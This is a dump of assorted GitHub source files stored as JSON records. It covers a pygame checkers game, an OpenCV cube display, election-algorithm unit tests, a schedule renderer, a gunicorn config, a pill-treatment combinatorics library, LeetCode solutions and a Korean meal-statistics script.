[ch for ch in board.board if ch.color == s.moving_color]\n\n not_moving_ch = [ch for ch in board.board if ch.color != s.moving_color]\n moves, is_killing = functions.collect_moves(board, moving_ch, not_moving_ch)\n\n if moves:\n move = random.choice(moves)\n else:\n s.moving_color = 'black' if s.moving_color == 'white' else 'white'\n\n if is_killing and moves:\n kill_ch, killed_ch, x_kill, y_kill = move[0], move[1], *move[2]\n\n win_sound = pygame.mixer.Sound('data/Audio/killing.wav')\n win_sound.play()\n\n board.board.remove(killed_ch)\n all_sprites.remove(killed_ch)\n flag_king = kill_ch.make_move(x_kill, y_kill, board.is_rotate)\n\n if flag_king:\n kill_ch.change_status([[im_w_ch_k1, im_w_ch_k2, im_w_ch_k3, im_w_k],\n [im_b_ch_k1, im_b_ch_k2, im_b_ch_k3, im_b_k]])\n\n not_moving_ch = [ch for ch in board.board if ch.color != s.moving_color]\n\n if not (functions.is_killing_possible([kill_ch], not_moving_ch, board.board)):\n # если повторная рубка невозможна, то меняем ход\n replay = False\n s.moving_color = 'black' if s.moving_color == 'white' else 'white'\n else:\n replay = True\n\n elif moves:\n move_checker, x_move, y_move = move[0], *move[1]\n flag_king = move_checker.make_move(x_move, y_move, board.is_rotate)\n\n if flag_king:\n move_checker.change_status([[im_w_ch_k1, im_w_ch_k2, im_w_ch_k3, im_w_k],\n [im_b_ch_k1, im_b_ch_k2, im_b_ch_k3, im_b_k]])\n s.moving_color = 'black' if s.moving_color == 'white' else 'white'\n\n else:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n if event.type == pygame.MOUSEBUTTONDOWN and event.button == pygame.BUTTON_LEFT:\n if is_paused:\n if button_continue.is_pressed(event.pos):\n is_paused = False\n\n elif button_save.is_pressed(event.pos):\n Tk().withdraw()\n try:\n file_name = askopenfilename()\n f = open(file_name, 'w')\n\n move_col = 'w' if s.moving_color == 'white' else 'b'\n f.write(move_col + '\\n')\n\n arr = [['0' for col in range(s.cols)] for line in range(s.lines)]\n\n if board.is_rotate:\n board.rotate()\n was_rotated = True\n else:\n was_rotated = False\n\n for checker in board.board:\n if checker.color == 'white':\n char = 'w'\n elif checker.color == 'black':\n char = 'b'\n if checker.is_king:\n char = char.upper()\n arr[checker.y][checker.x] = char\n\n for line in range(s.lines):\n f.write(''.join(arr[line]) + '\\n')\n\n if was_rotated:\n board.rotate()\n\n f.close()\n\n except FileNotFoundError:\n pass\n\n elif button_main_menu.is_pressed(event.pos):\n s.state = 'main_menu'\n running = False\n s.width, s.height = old_width, old_height\n s.moving_color = 'white'\n pygame.time.wait(250)\n\n runpy.run_module('menu')\n\n else:\n x, y = board.get_cell(event.pos)\n other_checker = functions.select(x, y, board.board, s.moving_color, event.pos)\n\n if type(other_checker) == Checker:\n # если шашка правильного цвета, то выделение перемещается на нее\n selected_checker = other_checker\n elif other_checker is None and selected_checker is not None and x is not None:\n # если выделена клетка без шашки\n moving_ch = [ch for ch in board.board if ch.color == s.moving_color]\n not_moving_ch = [ch for ch in board.board if ch.color != s.moving_color]\n\n if functions.is_killing_possible(moving_ch, not_moving_ch, board.board):\n # если есть ходы c рубкой\n killed_checker = functions.find_killed_checker(selected_checker,\n board.board, x, y, not_moving_ch)\n if functions.can_kill(selected_checker, killed_checker, board.board, x, y, True):\n # если данная рубка возможна\n win_sound = pygame.mixer.Sound('data/Audio/killing.wav')\n win_sound.play()\n\n board.board.remove(killed_checker)\n all_sprites.remove(killed_checker)\n flag_king = selected_checker.make_move(x, y, board.is_rotate)\n\n if flag_king:\n selected_checker.change_status([[im_w_ch_k1, im_w_ch_k2, im_w_ch_k3, im_w_k],\n [im_b_ch_k1, im_b_ch_k2, im_b_ch_k3, im_b_k]])\n\n not_moving_ch = [ch for ch in board.board if ch.color != s.moving_color]\n if not(functions.is_killing_possible([selected_checker], not_moving_ch, board.board)):\n # если повторная рубка невозможна, то меняем ход\n s.moving_color = 'black' if s.moving_color == 'white' else 'white'\n # board.rotate()\n selected_checker = None\n\n elif functions.can_move(selected_checker, x, y, s.moving_color, board):\n # если рубка невозможна, но возможен ход\n flag_king = selected_checker.make_move(x, y, board.is_rotate)\n\n if flag_king:\n selected_checker.change_status([[im_w_ch_k1, im_w_ch_k2, im_w_ch_k3, im_w_k],\n [im_b_ch_k1, im_b_ch_k2, im_b_ch_k3, im_b_k]])\n\n selected_checker = None\n s.moving_color = 'black' if s.moving_color == 'white' else 'white'\n # board.rotate()\n\n elif event.type == pygame.KEYDOWN and event.key == pygame.K_ESCAPE:\n click_sound = pygame.mixer.Sound('data/Audio/click.wav')\n click_sound.play()\n\n is_paused = not is_paused\n\n # проверка на конец игры\n s.winner = functions.check_winning(black_ch, white_ch)\n if s.winner:\n running = False\n s.state = 'end_game'\n s.width, s.height = old_width, old_height\n pygame.time.wait(250)\n runpy.run_module('menu')\n\n moving_ch = [ch for ch in board.board if ch.color == s.moving_color]\n not_moving_ch = [ch for ch in board.board if ch.color != s.moving_color]\n if not functions.collect_moves(board, moving_ch, not_moving_ch):\n s.moving_color = 'black' if s.moving_color == 'white' else 'white'\n\n all_sprites.update()\n\n\n clock.tick(FPS)\n\npygame.quit()\n","repo_name":"dancool5/checkers","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":14404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"2994447103","text":"from random import random, randint\n\npessoa_1 = {'nome':'Gilberto Savisky', 'nota': 41, 'desempate': 0}\npessoa_2 = {'nome':'João Arruda', 'nota': 28, 'desempate': 0}\npessoa_3 = {'nome':'Reinaldo Cavalcante', 'nota': 53, 'desempate': 0} # dicionario (dict)\npessoa_4 = {'nome':'Paula Amorim', 'nota': 67, 'desempate': 0}\npessoa_5 = {'nome':'André Nogueira', 'nota': 41, 'desempate': 0}\npessoa_6 = {'nome':'Fernando Donizete', 'nota': 53, 'desempate': 0} # dicionario (dict)\n\nlista_pessoas = [pessoa_1, pessoa_2, pessoa_3,pessoa_4, pessoa_5, pessoa_6] # lista (list)\n\nfor i in lista_pessoas:\n desempate = randint(80,100)\n cont = len(lista_pessoas)- len(lista_pessoas)\n i['desempate'] = desempate\n for j in lista_pessoas:\n if (lista_pessoas[cont]['nota']) > (lista_pessoas[cont+1]['nota']):\n print((lista_pessoas[cont]['nota']))\n pausa = input()\n cont += 1\n\n\n\n","repo_name":"GilbertoSavisky/Python","sub_path":"venv/teste.py","file_name":"teste.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"28147674077","text":"import cv2 as cv\nimport numpy as np\n\n\nfont=cv.FONT_HERSHEY_TRIPLEX\nbox_side_length=50\n\nclass Start_point(object):\n def __init__(self,x,y):\n self.x=x\n self.y=y\n self.M_x=x+50+10\n self.M_y=y+50+35\n \n\nclass Creat_image(object):\n def __init__(self,x,y):\n self.image=np.zeros([x,y,3],np.uint8)\n self.image[:,:,0]=np.ones([x,y])*0\n self.image[:,:,1]=np.ones([x,y])*0\n self.image[:,:,2]=np.ones([x,y])*0\n\ndef draw_boxs(x,y,color):\n for i in range(3):\n for j in range(3):\n cv.rectangle(image.image,(x+i*box_side_length,y+j*box_side_length),\n (x+(i+1)*box_side_length-5,y+(j+1)*box_side_length-5),color,cv.FILLED) \n\n\ncolor=[(0, 255, 0),(255, 105, 65),(0, 165, 255),(255, 255, 255),(0, 0, 255),(0, 255, 255)]\nlocation_names=['L','F','R','B','U','D']\n\ntop=Start_point(350,100)\nleft=Start_point(200,250)\nmid=Start_point(350,250)\nbottom=Start_point(350,400)\nright1=Start_point(500,250)\nright2=Start_point(650,250)\nimage=Creat_image(600,1000)\nlocations={'L':(left.M_x,left.M_y),'F':(mid.M_x,mid.M_y),'R':(right1.M_x,right1.M_y),\n 'B':(right2.M_x,right2.M_y),'U':(top.M_x,top.M_y),'D':(bottom.M_x,bottom.M_y)}\nstring='Xiao Mo\\'s magic cube'\nwhile True:\n \n cv.putText(image.image,string,(250,50),font,1.2,(159,255,84),1)\n draw_boxs(top.x,top.y,color[0])\n draw_boxs(left.x,left.y,color[1])\n draw_boxs(mid.x,mid.y,color[2])\n draw_boxs(bottom.x,bottom.y,color[3])\n draw_boxs(right1.x,right1.y,color[4])\n draw_boxs(right2.x,right2.y,color[5])\n for i , location in zip([_ for _ in range (6)],locations.values()):\n cv.putText(image.image,location_names[i],location,font,1.2,(0,0,0),1)\n cv.imshow('frame',image.image)\n cv.waitKey(5)\n if cv.waitKey(5)&0xff==ord('q'):\n break\ncv.destroyAllWindows()","repo_name":"xiaomoxiao/magic-cube","sub_path":"MultiThreading/code/demo1.py","file_name":"demo1.py","file_ext":"py","file_size_in_byte":1840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"70774658984","text":"import mock\n\nfrom ecs.elections.algorithms.brute_force import BruteForce\nfrom ecs.elections.factories import ElectionFactory, CandidateFactory, VoterFactory, PreferenceFactory\nfrom ecs.utils.unittestcases import TestCase\n\nmock.patch.object = mock.patch.object\n\n\nclass BruteForceAlgorithmTestCase(TestCase):\n def setUp(self):\n self.election = ElectionFactory.create(committee_size=2)\n self.candidates = CandidateFactory.create_batch(3, election=self.election)\n self.voters = VoterFactory.create_batch(3, election=self.election)\n for voter in self.voters:\n for candidate in self.candidates:\n PreferenceFactory.create(\n voter=voter, candidate=candidate\n )\n self.p_parameter = 2\n self.algorithm = BruteForce(self.election, self.p_parameter)\n\n @mock.patch.object(BruteForce, 'calculate_committee_score_from_prefetched')\n def test_run_calls_calculate_committee_score(self, mocked_score):\n self.algorithm.run()\n self.assertEqual(\n mocked_score.call_count,\n 3\n )\n\n def test_run_returns_winners(self):\n self.assertEqual(\n list(self.algorithm.run()),\n self.candidates[:2]\n )\n\n def test_start_returns_time_and_winners(self):\n time, winners = self.algorithm.start()\n winners = list(winners)\n self.assertEqual(\n winners,\n self.candidates[:2]\n )\n self.assertGreater(time, 0)\n","repo_name":"jakubste/election-computing-system","sub_path":"ecs/elections/algorithms/tests/test_brute.py","file_name":"test_brute.py","file_ext":"py","file_size_in_byte":1514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"6121157677","text":"#!/usr/bin/env python3\n\nimport argparse\nimport sys\nimport json\nimport jinja2\nfrom pprint import pprint\nimport markdown\nfrom functools import reduce\n\ndef make_argparser():\n parser = argparse.ArgumentParser(description='Generate class schedule.')\n parser.add_argument(\"-s\", \"--schedule\", dest=\"schedule\", required=True,\n help=\"Schedule file, as produced by make_schedule.py\")\n parser.add_argument(\"-c\", \"--course\", dest=\"course\", required=True,\n help=\"JSON file containing course dict.\")\n parser.add_argument(\"-t\", \"--template\", dest=\"template_file\", required=True,\n help=\"Template file used for rendering schedule.\")\n parser.add_argument(\"-o\", \"--output\", dest=\"output\", required=False,\n help=\"Name of file to write rendered schedule to.\")\n return parser\n\ndef topics(topics, course, key=\"topic\"):\n items = [item.strip() for item in topics.split(\",\")]\n return [course[item][key] if (item in course) else item\n for item in items]\n\ndef materials(topics, materials, course):\n topic_items = [item.strip() for item in topics.split(\",\")]\n materials_items = [item.strip() for item in materials.split(\",\")]\n lecture_materials = reduce(lambda a, b: a + b,\n [course[item][\"materials\"]\n for item in topic_items if item in course],\n [])\n return (lecture_materials + [item for item in materials_items])\n\ndef main(argv):\n parser = make_argparser()\n args = parser.parse_args(argv[1:])\n schedule_file = open(args.schedule, 'r')\n course = json.load(open(args.course, 'r'))\n rows = []\n for line in schedule_file:\n fields = [field.strip() for field in line.split(\";\")]\n if len(fields) == 1:\n rows.append({\"internal_header\": fields[0]})\n else:\n rows.append({\"date\": fields[0],\n \"topics\": (topics(fields[1], course)\n if len(fields) > 1\n else [\"\"]),\n \"materials\": (materials(fields[1],\n fields[2] if len(fields) > 2 else \"\",\n course)\n ),\n \"reminders\": (fields[3].split(\",\")\n if len(fields) > 3\n else [\"\"])\n })\n env = jinja2.Environment()\n env.filters['markdown'] = markdown.markdown\n template = env.from_string(open(args.template_file, 'r').read())\n fout = open(args.output, 'w') if args.output else sys.stdout\n print(template.render(table=rows), file=fout)\n\nif __name__==\"__main__\":\n main(sys.argv)\n","repo_name":"dr-cs/course-tools","sub_path":"bin/render_schedule.py","file_name":"render_schedule.py","file_ext":"py","file_size_in_byte":2861,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"} +{"seq_id":"15867673341","text":"# 监听内网端口\nbind = '0.0.0.0:8001'\n\n# 工作目录\nchdir = '/fba/backend/app'\n\n# 并行工作进程数\nworkers = 1\n\n# 指定每个工作者的线程数\nthreads = 4\n\n# 监听队列\nbacklog = 512\n\n# 超时时间\ntimeout = 120\n\n# 设置守护进程,将进程交给 supervisor 管理;如果设置为 True 时,supervisor 启动日志为:\n# gave up: fastapi_server entered FATAL state, too many start retries too quickly\n# 则需要将此改为: False\ndaemon = False\n\n# 工作模式协程\nworker_class = 'uvicorn.workers.UvicornWorker'\n\n# 设置最大并发量\nworker_connections = 2000\n\n# 设置进程文件目录\npidfile = '/fba/gunicorn.pid'\n\n# 设置访问日志和错误信息日志路径\naccesslog = '/var/log/fastapi_server/gunicorn_access.log'\nerrorlog = '/var/log/fastapi_server/gunicorn_error.log'\n\n# 设置这个值为true 才会把打印信息记录到错误日志里\ncapture_output = True\n\n# 设置日志记录水平\nloglevel = 'debug'\n\n# python程序\npythonpath = '/usr/local/lib/python3.10/site-packages'\n\n# 启动 gunicorn -c gunicorn.conf.py main:app\n","repo_name":"fastapi-practices/fastapi_best_architecture","sub_path":"deploy/gunicorn.conf.py","file_name":"gunicorn.conf.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","stars":96,"dataset":"github-code","pt":"36"} +{"seq_id":"35386017444","text":"#!/usr/bin/env python3\nimport random\n\ndef recognize(treatement, TAc, LANG, yield_feedback=True):\n \"\"\"If the input string offers a consistent treatment then return True.\n Otherwise return false and, if yield_feedback=True, then explain in full where the problem is.\"\"\"\n assert type(treatement)==str\n #print(f\"treatement={treatement}\")\n num_dangling_broken_pills = 0\n for char, i in zip(treatement,range(1,len(treatement)+1)):\n if char == 'I':\n num_dangling_broken_pills += 1\n else:\n if num_dangling_broken_pills == 0:\n if yield_feedback:\n TAc.print(LANG.render_feedback(\"not-well-formed-treatment\", \"We have a problem. The following treatment is not consistent:\"), \"red\", [\"bold\"])\n TAc.print(treatement, \"yellow\", [\"underline\"])\n TAc.print(LANG.render_feedback(\"unfeasible\", f\"No. On position {i} there is no broken pill left to be eaten. This prescription is not consistent.\", {'i': i}), \"red\", [\"bold\"])\n TAc.print(treatement, \"yellow\", [\"underline\"])\n print(\" \"*(i-1),end=\"\")\n TAc.print(LANG.render_feedback(\"pointer\", '^ no \"H\" is available at this point in the flask'), \"yellow\", [\"underline\"])\n return False\n num_dangling_broken_pills -= 1\n\n if num_dangling_broken_pills > 0:\n if yield_feedback:\n TAc.print(LANG.render_feedback(\"not-well-formed-treatment\", \"We have a problem. The following treatment is out of order:\"), \"red\", [\"bold\"])\n TAc.print(treatement, \"yellow\", [\"underline\"])\n TAc.print(LANG.render_feedback(\"unfinished\", f\"Indeed there are {num_dangling_broken_pills} broken pills left over in the flask. This prescription is not consistent. It contains more 'I' than 'H' characters.\", {'num_dangling_broken_pills': num_dangling_broken_pills}), \"red\", [\"bold\"])\n return False\n return True\n\n\nclass Flask:\n def __init__(self, MAX_N, nums_mod=0):\n self.MAX_N = MAX_N\n\n # num_sols[n_pills] = number of feasible treatment with pills.\n # A treatment with n pills is a string of n 'I' characters and n 'H' characters such that no prefix contains more 'H's than 'I's and every 'I' matches with the first 'H' after it that brings back the balance.\n self.num_sols = [1] * (MAX_N+1) # while allocating it we also set up the correct value for the two base cases\n \n for n in range(2,MAX_N+1):\n self.num_sols[n] = 0\n for n_pills_included in range(n):\n self.num_sols[n] += self.num_sols[n_pills_included] * self.num_sols[n - n_pills_included -1]\n if nums_mod > 0:\n self.num_sols[n] %= nums_mod\n\n def num_sol(self, n):\n assert n <= self.MAX_N\n return self.num_sols[n]\n\n def unrank(self, n_pills, pos, sorting_criterion=\"lovesI\"):\n if n_pills == 0:\n return \"\"\n \"\"\"I ... H ...\n A B\n \"\"\" \n count = 0\n for n_pills_in_A in range(n_pills) if sorting_criterion==\"lovesH\" else reversed(range(n_pills)):\n num_A = self.num_sol(n_pills_in_A)\n num_B = self.num_sol(n_pills - n_pills_in_A -1)\n if count + num_A*num_B > pos:\n break\n count += num_A*num_B\n return \"I\" + self.unrank(n_pills_in_A, (pos-count) // num_B, sorting_criterion) + \"H\" + self.unrank(n_pills - n_pills_in_A -1, (pos-count) % num_B, sorting_criterion)\n\n def rank(self, treatment, sorting_criterion=\"lovesI\"):\n if treatment == \"\":\n return 0\n num_dangling_broken_pills = 0\n for char, i in zip(treatment,range(len(treatment))):\n if char == 'I':\n num_dangling_broken_pills += 1\n else:\n num_dangling_broken_pills -= 1\n if num_dangling_broken_pills == 0:\n break\n assert i%2 == 1\n \"\"\"\n I ... H ... with len(A) even\n 0 A i B\n \"\"\"\n n_pills = len(treatment)//2\n count = 0\n if sorting_criterion==\"lovesI\":\n for ii in range(i+2, len(treatment)+1, 2):\n n_pills_A = ii//2\n n_pills_B = n_pills - n_pills_A -1\n num_A = self.num_sol(n_pills_A)\n num_B = self.num_sol(n_pills_B)\n count += num_A*num_B\n if sorting_criterion==\"lovesH\":\n for ii in range(1, i-1, 2):\n n_pills_A = ii//2\n n_pills_B = n_pills - n_pills_A -1\n num_A = self.num_sol(n_pills_A)\n num_B = self.num_sol(n_pills_B)\n count += num_A*num_B\n n_pills_A = i//2\n n_pills_B = n_pills - n_pills_A -1\n num_B = self.num_sol(n_pills_B)\n return count + self.rank(treatment[1:i], sorting_criterion)*num_B + self.rank(treatment[i+1:len(treatment)+1], sorting_criterion)\n\n def rand_gen(self, n_pills, seed=None):\n \"\"\"returns a pseudo-random treatment with I's and H's. The seed univokely determines the treatment.\"\"\"\n random.seed(seed)\n r = random.randrange(self.num_sol(n_pills))\n return self.unrank(n_pills, r)\n \n def next(self, treatment, sorting_criterion=\"lovesI\"):\n n_pills = len(treatment) // 2\n r = self.rank(treatment, sorting_criterion)\n assert r < self.num_sol(n_pills) -1\n return self.unrank(n_pills, r+1, sorting_criterion)\n\nif __name__ == \"__main__\":\n p = Flask(1000)\n assert p.rank(\"IIHH\", 'lovesI') == 0\n assert p.rank(\"IHIH\", 'lovesI') == 1\n assert p.rank(\"IIHH\", 'lovesH') == 1\n assert p.rank(\"IHIH\", 'lovesH') == 0\n\n assert p.rank(\"IIIHHH\", 'lovesI') == 0\n assert p.rank(\"IIHIHH\", 'lovesI') == 1\n assert p.rank(\"IIHHIH\", 'lovesI') == 2\n assert p.rank(\"IHIIHH\", 'lovesI') == 3\n assert p.rank(\"IHIHIH\", 'lovesI') == 4\n\n assert p.rank(\"IIIHHH\", 'lovesH') == 4\n assert p.rank(\"IIHIHH\", 'lovesH') == 3\n assert p.rank(\"IIHHIH\", 'lovesH') == 2\n assert p.rank(\"IHIIHH\", 'lovesH') == 1\n assert p.rank(\"IHIHIH\", 'lovesH') == 0\n\n for n in range(5):\n for r in range(p.num_sol(n)):\n assert p.rank(p.unrank(n, r)) == r\n for _ in range(5):\n #print(p.rand_gen(n))\n assert p.rand_gen(n, _ + 5*n) == p.rand_gen(n, _ + 5*n)\n","repo_name":"romeorizzi/TALight","sub_path":"example_problems/tutorial/pills/services/pills_lib.py","file_name":"pills_lib.py","file_ext":"py","file_size_in_byte":6428,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"36"} +{"seq_id":"41270726007","text":"#!/usr/bin/env python\n# encoding: utf-8\n\n\nclass Solution:\n def maxProfit(self, prices: List[int]) -> int:\n # min_price = int(1e9)\n # max_price = 0\n # res = [0]\n # for price in prices:\n # max_price = max(price - min_price, max_price)\n # if max_price > 0:\n # res.append(max_price)\n # min_price = int(1e9)\n # max_price = 0\n # min_price = min(price, min_price)\n # return sum(res)\n max_profit = 0\n for i in range(len(prices)):\n if i + 1 < len(prices):\n if prices[i] < prices[i + 1]:\n max_profit += prices[i + 1] - prices[i]\n return max_profit\n\n","repo_name":"HugoNgai/Leetcode","sub_path":"Code/best_time_to_buy_and_sell_stock_II.py","file_name":"best_time_to_buy_and_sell_stock_II.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"18497710121","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[11]:\n\n\nimport numpy as np\nimport pandas as pd\nimport datetime as dt\nfrom dateutil.parser import parse\nimport math\n\nuser_data = pd.read_csv(\"util/user_profile.csv\", encoding=\"cp949\")\nIDs = user_data[\"id\"].values.tolist()\n\nlist_days = []\n\nnum_total = []\n\nnum_bf = []\nnum_lun = []\nnum_din = []\n\ntime_bf = []\ntime_lun = []\ntime_din = []\n\nstd_bf = []\nstd_lun = []\nstd_din = []\n\nnum_sn = []\nnum_nsn = []\nnum_ff = []\n\nID_to_index = []\n\nfor ID in IDs:\n ID_to_index.append(ID)\n if(ID > 30063):\n df = pd.read_csv(\"../data/hs_\"+str(ID)+\"_m08_0903_1356.csv\",encoding=\"cp949\")\n else:\n df = pd.read_csv(\"../data/hs_\"+str(ID)+\"_m08_0903_1355.csv\",encoding=\"cp949\")\n \n df[\"index\"] = range(0,len(df))\n \n if len(df) <= 0: # 일수 계산\n list_days.append(0)\n else: \n first_day = parse(df.iloc[0]['Time'])\n last_day = parse(df.iloc[len(df)-1]['Time'])\n list_days.append((last_day-first_day).days)\n \n\n # 식사 \n b_df = df[(df['Act'].str.contains(\"아침식사\"))] \n l_df = df[(df['Act'].str.contains(\"점심식사\"))] \n d_df = df[(df['Act'].str.contains(\"저녁식사\"))] \n s_df = df[(df['Act'].str.contains(\"간식\"))]\n ns_df = df[(df['Act'].str.contains(\"야식\"))]\n ff_df = df[(df['State'].str.contains(\"간편식\"))]\n \n food_out = df[(df['State'].str.contains(\"음식 꺼내기\"))] \n \n b_num = len(b_df)\n l_num = len(l_df)\n d_num = len(d_df)\n s_num = len(s_df)\n ns_num = len(ns_df)\n ff_num = len(ff_df)\n total_num = len(food_out)\n \n # 아침식사 시간\n if b_num != 0:\n list_breakfast = []\n for i in range(0,b_num):\n tmp = parse(b_df.iloc[i]['Time'])\n list_breakfast.append(tmp.hour*60 + tmp.minute)\n avg_bf = np.mean(list_breakfast)\n var_bf = np.std(list_breakfast)\n else:\n avg_bf = 0\n var_bf = 0\n \n # 점심식사 시간\n if l_num != 0:\n list_lunch = []\n for i in range(0,l_num):\n tmp = parse(l_df.iloc[i]['Time'])\n list_lunch.append(tmp.hour*60 + tmp.minute)\n avg_lun = np.mean(list_lunch)\n var_lun = np.std(list_lunch)\n else:\n avg_lun = 0\n var_lun = 0\n \n # 저녁식사 시간\n if d_num != 0:\n list_dinner = []\n for i in range(0,d_num):\n tmp = parse(d_df.iloc[i]['Time'])\n list_dinner.append(tmp.hour*60 + tmp.minute)\n avg_din = np.mean(list_dinner)\n var_din = np.std(list_dinner)\n else:\n avg_din= 0\n var_din = 0\n \n num_bf.append(b_num) # 아침식사 횟수\n num_lun.append(l_num) # 점심식사 횟수\n num_din.append(d_num) # 저녁식사 횟수\n \n time_bf.append(avg_bf) # 평균 아침식사 시간 (분으로 나타냄)\n time_lun.append(avg_lun) # 평균 점심식사 시간\n time_din.append(avg_din) # 평균 저녁식사 시간\n \n std_bf.append(var_bf) # 아침식사 평균편차\n std_lun.append(var_lun) # 점심식사 평균편차\n std_din.append(var_din) # 저녁식사 평균편차\n \n num_sn.append(s_num) # 간식 횟수\n num_nsn.append(ns_num) # 야식 횟수\n num_ff.append(ff_num) # 간편식 횟수\n \n num_total.append(total_num)\n \n# 밑부분은 ID가 주어졌을 때\n# user_ID = 496\n# indx = ID_to_index.index(user_ID)\n# score = 10\n\n# fb_amount_of_meal = False # 식사 양\n# fb_num_bf = False # 아침식사 양\n# fb_num_lun = False # 점심식사 양\n# fb_num_din = False # 저녁식사 양\n\n# fb_time = 0 \n# fb_time_bf_early = False # 너무 이른 아침식사 피드백\n# fb_time_bf_late = False # 너무 늦은 아침식사 피드백 (이하 동일)\n# fb_time_lun_early = False\n# fb_time_lun_late = False\n# fb_time_din_early = False\n# fb_time_din_late = False\n\n# fb_rg_bf = False # 아침식사 규칙성 피드백\n# fb_rg_lun = False\n# fb_rg_din = False\n\n# fb_snack = 0 # 간식 빈도 피드백\n# fb_n_snack = 0 # 야식 빈도 피드백\n# fb_fastfood = 0 # 간편식 피드백\n\n# # 식사 횟수 평가\n# if (num_bf[indx] + num_lun[indx] + num_din[indx])/3 < list_days[indx]/2:\n# fb_amount_of_meal = True\n# score -= 1\n# if num_bf[indx] < list_days[indx]/3:\n# fb_num_bf = True\n# if num_lun[indx] < list_days[indx]/3:\n# fb_num_lun = True\n# if num_din[indx] < list_days[indx]/3:\n# fb_num_din = True\n# if (fb_num_bf | fb_num_lun | fb_num_din):\n# score -= 1\n\n# # 식사 시각 평가\n# if time_bf[indx] < 360:\n# fb_time_bf_early = True\n# fb_time += 1\n# elif time_bf[indx] > 480:\n# fb_time_bf_late = True\n# fb_time += 1\n \n# if time_lun[indx] < 690:\n# fb_time_lun_early = True\n# fb_time += 1\n# elif time_lun[indx] > 780:\n# fb_time_lun_late = True \n# fb_time += 1\n \n# if time_din[indx] < 930:\n# fb_time_din_early = True\n# fb_time += 1\n# elif time_din[indx] > 1170:\n# fb_time_din_late = True \n# fb_time += 1\n \n# if fb_time >= 3:\n# score -= 2\n# elif fb_time > 0:\n# score -= 1\n\n# # 식사 규칙성 평가\n# if std_bf[indx] > 30:\n# fb_rg_bf = True\n# if std_lun[indx] > 30:\n# fb_rg_lun = True\n# if std_din[indx] > 30:\n# fb_rg_din = True\n# if (fb_rg_bf | fb_rg_lun | fb_rg_din):\n# score -= 1\n\n# # 간식, 야식 평가\n# if num_sn[indx] > list_days[indx]/3*2:\n# fb_snack = num_ns[indx] - list_days[indx]/3*2\n# score -= 1\n# if num_nsn[indx] > list_days[indx]/5:\n# fb_n_snack = num_nsn[indx] - list_days[indx]/5\n# score -= 1\n\n# # 간편식 평가\n# if num_ff[indx] > list_days[indx]/2:\n# fb_fastfood = num_ff[indx] - list_days[indx]/2\n# score -= 1\n\n \n\n\n# In[ ]:\n\n\n\n\n","repo_name":"mumwa/caregiver-Soon","sub_path":"util/meal.py","file_name":"meal.py","file_ext":"py","file_size_in_byte":5672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22024423859","text":"# -*- coding: utf-8 -*-\n\"\"\"\nGiven an array of integers nums and an integer target, return indices of the two numbers such that they add up to target.\n\nYou may assume that each input would have exactly one solution, and you may not use the same element twice.\n\nYou can return the answer in any order.\n\nExample 1:\n\nInput: nums = [2,7,11,15], target = 9\nOutput: [0,1]\nExplanation: Because nums[0] + nums[1] == 9, we return [0, 1].\nExample 2:\n\nInput: nums = [3,2,4], target = 6\nOutput: [1,2]\nExample 3:\n\nInput: nums = [3,3], target = 6\nOutput: [0,1]\n \n\nConstraints:\n\n2 <= nums.length <= 104\n-109 <= nums[i] <= 109\n-109 <= target <= 109\nOnly one valid answer exists.\n \n\nFollow-up: Can you come up with an algorithm that is less than O(n2) time complexity?\n\"\"\"\n\nimport unittest\nfrom typing import List\n# class Solution(object):\n# def twoSum(self, nums, target):\n# \"\"\"\n# :type nums: List[int]\n# :type target: int\n# :rtype: List[int]\n# \"\"\"\n# unique_val_dict = {}\n# for num_iterator in range(len(nums)):\n# difference = target - nums[num_iterator]\n# if nums[num_iterator] in unique_val_dict:\n# return [unique_val_dict[nums[num_iterator]], num_iterator]\n# else:\n# unique_val_dict[difference] = num_iterator\n \n# return []\n \nclass Solution:\n def twoSum(self, nums: List[int], target: int) -> List[int]:\n diff_dict = {}\n for index,num in enumerate(nums):\n difference = target-num\n if difference in diff_dict:\n return [diff_dict[difference],index]\n else:\n diff_dict[difference] = index\n return []\n \n\nclass TestMethods(unittest.TestCase):\n\n def test_twoSum_ex1(self):\n nums = [2,7,11,15]\n target = 9\n output = [0,1]\n mySolution = Solution()\n self.assertEqual(mySolution.twoSum(nums, target), output)\n \n def test_twoSum_ex2(self):\n nums = [3,2,4]\n target = 6\n output = [1,2]\n mySolution = Solution()\n self.assertEqual(mySolution.twoSum(nums, target), output)\n \n def test_twoSum_ex3(self):\n nums = [3,3]\n target = 6\n output = [0,1]\n mySolution = Solution()\n self.assertEqual(mySolution.twoSum(nums, target), output)\n\n def test_twoSum_emptyArray(self):\n nums = []\n target = 6\n output = []\n mySolution = Solution()\n self.assertEqual(mySolution.twoSum(nums, target), output)\n\n def test_twoSum_unsortedArray(self):\n nums = [9, 6, 109, 3, 1]\n target = 10\n output = [0,4]\n mySolution = Solution()\n self.assertEqual(mySolution.twoSum(nums, target), output)\n\n def test_twoSum_tgtNotFound(self):\n nums = [9, 6, 109, 3, 8]\n target = 10\n output = []\n mySolution = Solution()\n self.assertEqual(mySolution.twoSum(nums, target), output)\n \n \n\nif __name__ == '__main__':\n unittest.main()","repo_name":"ogradyso/py_leet","sub_path":"Round1/1_twoSum.py","file_name":"1_twoSum.py","file_ext":"py","file_size_in_byte":3060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"25994132013","text":"import controller, sys\r\nimport model #strange, but we need a reference to this module to pass this module to update\r\nimport math,random\r\nfrom ball import Ball\r\nfrom floater import Floater\r\nfrom 